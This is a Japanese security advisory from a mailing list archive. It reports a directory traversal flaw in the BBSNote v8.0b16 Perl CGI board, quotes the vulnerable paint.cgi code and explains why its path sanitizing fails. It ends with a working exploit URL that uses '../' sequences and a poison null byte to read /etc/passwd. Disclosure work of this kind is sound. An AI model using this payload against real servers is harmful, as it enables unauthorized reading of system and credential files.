[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

BBSNote v8.0b16 vulnerability



======
vendor
======
WonderCatStudio
http://wondercatstudio.com/

==========
vulnerable
==========
BBSNote V8.0b16 (恐らくはこれ以下のバージョンも)

==========
background
==========
BBSNote は perl で記述された掲示板 CGI スクリプトです。
利用者が自由に画像を描き、それをアップロードする機能を持っています。

======
impact
======
アタッカーがリモートからシステム上の任意のファイル(無論パーミッションの
制限は受けますが)を読み出せます。

===========
detail info
===========

セキュリティホールは、指定された画像ファイルやアーカイブファイルを読み出す
paint.cgi の BinaryStream() サブルーチンに存在します。

-- V8.0b16 --
paint.cgi: BinaryStream()
2923: sub BinaryStream{eval<<'_SUB_';
2924: my $src = $main::IN{src};
2925: 
2926: $src =~ s/^\.*\///g;
2927: 
2928: if(
2929: # ShiPainter SPCH Format
2930: ($src =~ /\.$CFG{ ShiPainter }{ anime_ext }$/)||
2931: # ShiPaintBBS PCH Format
2932: ($src =~ /\.$CFG{ ShiPaintBBS }{ anime_ext }$/)
2933: ){
2934:     $src = "$main::CFG{ DirFilePath }/$src";
2935:     $main::SYS{ HTTPCONTENTTYPE } = 'application/octet-stream';
2936: # Java Archive Format
2937: }elsif($src =~ /\.(zip|jar)$/){
2938:     $main::SYS{ HTTPCONTENTTYPE } = 'application/java-archive';
2939: # Image Format
2940: }elsif($src =~ /\.(jpg|gif)$/){
2941:     $src = "$main::CFG{ DirFilePath }/$src";
2942:     $main::SYS{ HTTPCONTENTTYPE } = 'image/'.($1 eq 'gif'?'gif':'jpeg');
2943: }
2944: &main::End('ERROR',&main::Info('DATA_NOTFOUND',$src)) if(!-e $src);
2945: 
2946: open(BIN,$src);
2947: 
2948: 
2949: binmode BIN;
2950: binmode STDOUT;
2951: &main::HttpHead;
2952: 
2953: while($_=<BIN>){
2954:     print;
2955: }
...

2926 行目において $src に対し sanitizing が行われていますが
    $src =~ s/^\.*\///g;
この置換は十分とは言えません。

before                  after
------                  -----
./                                      ("./" が削除される)
../../../               ../../          ("../" が削除される)
...../../../            ../../          ("...../" が削除される)

つまり directory traversal アタックが可能です。また、$src は
.jpg や .gif や .zip などの文字列を含んでいなければエラー終了して
しまいますが、poison null byte を用いることでエラーを回避しつつ
任意のファイルを開くことが可能です。そこで exploit はこうなります。

=======
exploit
=======
http://www.vuln.com/cgi-bin/bbsnote.cgi?fc=bin_stream&src=../../../../../../../etc/passwd%00.jpg

========
timeline
========
Jan.06.2004    バグ発見
Jan.12.2004    作者に報告。同日作者による修正バージョンリリース
Jan.13.2004    bugtraq-jp にポスト

======
author
======
White_E
http://nogimmick.org/

"May the Force be with blackhats."